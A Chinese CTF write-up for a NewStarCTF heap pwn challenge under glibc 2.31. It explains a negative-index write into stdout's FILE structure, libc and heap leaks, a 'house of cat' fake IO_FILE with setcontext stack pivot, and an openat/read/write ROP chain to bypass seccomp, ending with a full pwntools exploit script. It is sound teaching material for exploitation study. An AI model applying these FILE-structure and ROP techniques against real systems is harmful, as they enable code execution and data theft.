NewStarCTF 公开赛Week4 pwn 这是堆🐎
题目环境:glibc-2.31
漏洞分析
首先看到题目调用了prctl函数,说明开了沙盒保护机制。使用seccomp-tools检查一下
发现题目禁止了execve的系统调用,我们很容易想到要用orw将flag读取出来;但这题还把open函数给禁用了(是不是很无语),这里我们可以系统调用openat函数去打开文件,openat函数的系统调用号为257。
Add函数申请堆块,Dele函数和Show函数就一句简单的puts输出。
再去看看Edit函数,对v1采用int类型去定义的,没有对负数进行检查,我们就可以利用这一点去修改除堆以外的其它地方。
进一步查看运行时全局变量heaps在bss段的数据,发现存在IO_FILE的地址,可以输入负数然后直接修改_IO_FILE当中的值。
利用思路
可以使用shellcode去执行orw将flag读取出来,当然前提是泄漏堆地址,然后使用mprotect函数更改堆地址的执行权限,由于程序最初并没有给确定地址的可执行段,所以需要劫持rsp寄存器先执行mprotect函数的ROP,才能进一步去调用shellcode;或者直接劫持rsp寄存器使用open、read、write函数的ROP来实现orw。这里我采用后者。
程序中的gadget肯定是不够我们去实现ROP的,我们就使用libc中的gadget。
要控制rsp才可以去ROP,libc中可以去执行setcontext中的代码控制rsp(具体见我的Dest0g3 520迎新赛 pwn ez_kiwi这篇文章)。
我们可以去修改_IO_FILE当中的值,就想办法劫持其中的控制流,来执行setcontext。
具体过程
泄漏libc
这里我们就去修改标准输出_IO_2_1_stdout_
中的值首先泄漏libc的基址
1 2 3
| edit(-8, p64(0xfbad1800) + p64(0) * 3 + b'\x00') leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = leak - libc.sym['_IO_2_1_stdin_']
|
然后使用ROPgadget 找到相应的gadget,syscall ret
这个geaget可以使用操作码去寻找(如下)
1
| ROPgadget --binary libc-2.31.so --opcode "0f05c3"
|
我们还要寻找:
0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
setcontext中劫持rsp是通过rdx来修改的,但是在puts函数的调用中我们无法去控制rdx;使用这个gadget(它是getkeyserv_handle函数其中的一段),为我们劫持控制流提供了很好的帮助。
泄漏堆地址
存放gadget,堆是一个很好的选择,在libc中mp结构就存放了堆地址,我们就采用相同的方式去泄漏堆地址
1 2 3
| add(b'aa') edit(-8, p64(0xfbad1800) + p64(0) * 3 + p64(mp)) heap_addr = u64(p.recv(8))
|
劫持控制流
执行puts函数,会通过找到_IO_2_1_stdout_
的_IO_file_jumps
中的偏移,去执行_IO_file_xsputn
函数,我们就需要修改_IO_2_1_stdout_
的_IO_file_jumps
, 让其最终执行其它函数。_IO_file_jumps
并不能改成任意地址,在调用过程中会对其地址进行检查。
这里我采用house of cat
让其调用_IO_wfile_jumps
中的_IO_wfile_seekoff
函数,然后进入到_IO_switch_to_wget_mode
函数去执行如下代码(简写):
1 2 3 4
| 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
|
劫持到_IO_wfile_jumps(如下图)
_IO_switch_to_wget_mode函数中具体实现(如下图)
在这过程中rdi寄存器始终是_IO_2_1_stdout_
的地址, 让其最后执行:
1 2 3
| mov rdx, qword ptr [rdi + 8] mov qword ptr [rsp], rax call qword ptr [rdx + 0x20]
|
通过rdi的值去控制rdx,并去执行我们指定的函数,这里我们是去执行setcontext 劫持rsp寄存器指向堆地址。
改写_IO_2_1_stdout_
构造如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| fake_IO_FILE = p64(0) + p64(heap_addr + 0x2a0) fake_IO_FILE += p64(0) * 6 fake_IO_FILE += p64(1) + p64(0) fake_IO_FILE += p64(heap_addr) fake_IO_FILE += p64(magic_gadget) fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00') fake_IO_FILE += p64(heap_addr + 0x500) fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00') fake_IO_FILE += p64(IO_2_1_stdout + 0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00') fake_IO_FILE += p64(IO_wfile_jumps + 0x10) fake_IO_FILE += p64(0) * 6 fake_IO_FILE += p64(IO_2_1_stdout + 0x40)
|
orw
写入堆中的数据要注意setcontext的执行 与orw中gadget的位置,具体构造如下:
1 2 3 4 5 6 7 8 9
| orw = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x2a0) + p64(pop_rax) + p64(257) + p64(syscall_ret) orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x2a0 + 0x30) + p64(pop_rdx) + p64(0x40) + p64(syscall_ret) orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr + 0x2a0 + 0x30) + p64(pop_rdx) + p64(0x40) + p64(syscall_ret)
payload = b'/flag'.ljust(8, b'\x00') + p64(0) * 3 + p64(setcontext + 61) payload = payload.ljust(0xa0, b'\x00') payload += p64(heap_addr + 0x2a0 + 0xc0) + p64(ret) payload = payload.ljust(0xc0, b'\x00') payload += orw
|
完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import* elf = ELF('pwn')
libc = ELF('libc-2.31.so')
p = remote('node4.buuoj.cn',25381) context.log_level = 'debug'
def add(data): p.sendlineafter(b'>> ', b'1') p.sendafter(b'Any data?',data) def edit(idx, content): p.sendlineafter(b'>> ', b'3') p.sendlineafter(b'Index:', str(idx).encode()) p.sendafter(b'Content:', content)
edit(-8, p64(0xfbad1800) + p64(0) * 3 + b'\x00') leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = leak - libc.sym['_IO_2_1_stdin_'] IO_2_1_stdout = libcbase + libc.sym['_IO_2_1_stdout_'] IO_wfile_jumps = libcbase + 0x1e8de0 magic_gadget = libcbase + 0x151990
pop_rdi = libcbase + 0x23b6a pop_rsi = libcbase + 0x2601f pop_rdx = libcbase + 0x142c92 pop_rax = libcbase + 0x36174 ret = libcbase + 0x22679 syscall_ret = libcbase + 0x630a9 setcontext = libcbase + 347936 mp = libcbase + 2015944
add(b'aa') edit(-8, p64(0xfbad1800) + p64(0) * 3 + p64(mp)) heap_addr = u64(p.recv(8))
orw = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x2a0) + p64(pop_rax) + p64(257) + p64(syscall_ret) orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x2a0 + 0x30) + p64(pop_rdx) + p64(0x40) + p64(syscall_ret) orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr + 0x2a0 + 0x30) + p64(pop_rdx) + p64(0x40) + p64(syscall_ret)
payload = b'/flag'.ljust(8, b'\x00') + p64(0) * 3 + p64(setcontext + 61) payload = payload.ljust(0xa0, b'\x00') payload += p64(heap_addr + 0x2a0 + 0xc0) + p64(ret) payload = payload.ljust(0xc0, b'\x00') payload += orw edit(0, payload)
fake_IO_FILE = p64(0) + p64(heap_addr + 0x2a0) fake_IO_FILE += p64(0) * 6 fake_IO_FILE += p64(1) + p64(0) fake_IO_FILE += p64(heap_addr) fake_IO_FILE += p64(magic_gadget) fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00') fake_IO_FILE += p64(heap_addr + 0x500) fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00') fake_IO_FILE += p64(IO_2_1_stdout + 0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00') fake_IO_FILE += p64(IO_wfile_jumps + 0x10) fake_IO_FILE += p64(0) * 6 fake_IO_FILE += p64(IO_2_1_stdout + 0x40)
p.sendlineafter(b'>> ', b'3') p.sendlineafter(b'Index:', str(-8).encode())
p.sendafter(b'Content:', fake_IO_FILE)
p.interactive()
|
关于house of cat我没有讲的太详细,大家可以参考看雪大佬的这篇文章https://bbs.pediy.com/thread-273895.htm